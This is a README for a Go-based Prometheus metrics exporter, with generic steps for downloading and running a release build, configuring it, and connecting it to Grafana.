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πŸ“Š Collect system and application metrics seamlessly with this production-ready Prometheus exporter in Go, fully integrated with Docker and Grafana.

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🌟 go-prometheus-exporter - Simple Metrics Monitoring Tool

πŸš€ Getting Started

Welcome to go-prometheus-exporter! This tool helps you monitor your system and applications easily. It collects metrics and displays them using Grafana, a popular data visualization tool. Let’s get you set up.

Download go-prometheus-exporter

πŸ“₯ Download & Install

To download the application, please visit this page: Download go-prometheus-exporter. Here, you will find the latest versions of the software.

Steps to Install:

  1. Visit the Release Page: Click the download link above to go to the releases section.

  2. Choose Your Version: Look for the latest version displayed at the top. You may see several files; choose the one that matches your operating system.

  3. Download the File: Click the link to download the file to your computer. It typically comes in a ZIP or TAR format.

  4. Extract the File: Once downloaded, you will need to extract the contents of the file. Right-click on the file and select β€œExtract All” or use a program like WinRAR or 7-Zip.

  5. Run the Application: After extraction, locate the extracted folder and find the executable file. Double-click this file to start the application.

βš™οΈ System Requirements

To ensure everything runs smoothly, here are the basic requirements:

  • Operating System: Windows, macOS, or Linux.
  • CPU: At least 2 GHz.
  • Memory: 4 GB RAM minimum.
  • Storage: 100 MB of free space for installation.

πŸ“Š Features

  • Metrics Collection: Collects data on system performance and application health.
  • Grafana Dashboard: Easily visualize collected metrics in real-time.
  • Docker Support: Run the exporter in a Docker container for seamless deployment.
  • Cross-Platform: Compatible with Windows, macOS, and Linux operating systems.
  • Lightweight: Minimal system resources required to run.

🌐 Using the Application

1. Configure the Exporter

Before you can start using the exporter, you may want to adjust some settings:

  • Configuration File: Edit the config.yaml file to set metrics you wish to collect.
  • Ports: Make sure the ports used by the exporter are open in your network settings.

2. Start Collecting Metrics

  • Once configured, start the application. It will run in the background and begin collecting metrics.
  • Access the dashboard by opening your web browser and going to http://localhost:8080 (adjust the port if necessary).

3. Visualize in Grafana

  • Open Grafana and connect it to the exporter’s endpoint.
  • Use built-in charts or create your own to visualize the metrics you are collecting.

πŸ”„ Updating the Application

To keep your experience smooth, regularly check the release page for updates.

  1. Go to the Download go-prometheus-exporter page.
  2. Download the latest version using the same steps you followed for the initial installation.
  3. Replace the old files and restart the application.

❓ Troubleshooting

If you encounter issues, consider these tips:

  • Check Logs: Review application logs in the logs folder for any errors.
  • Firewall Settings: Ensure your firewall allows traffic on the ports used by the exporter.
  • Configuration Issues: Double-check your configuration settings in the config.yaml file.

🀝 Community and Support

If you have questions or need assistance, you can reach out to the community:

  • GitHub Issues: Use the issues page on our GitHub repository for support.
  • Discussions: Join discussions on the repository for tips and help from other users.

πŸš€ Feedback

We welcome your feedback. Let us know how you use the application and any features you’d like to see in future updates. Your input helps improve the tool.


With this guide, you're ready to monitor your systems and applications effectively using go-prometheus-exporter. Enjoy collecting and visualizing your metrics!

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πŸ“Š Collect system and application metrics seamlessly with this production-ready Prometheus exporter in Go, fully integrated with Docker and Grafana.

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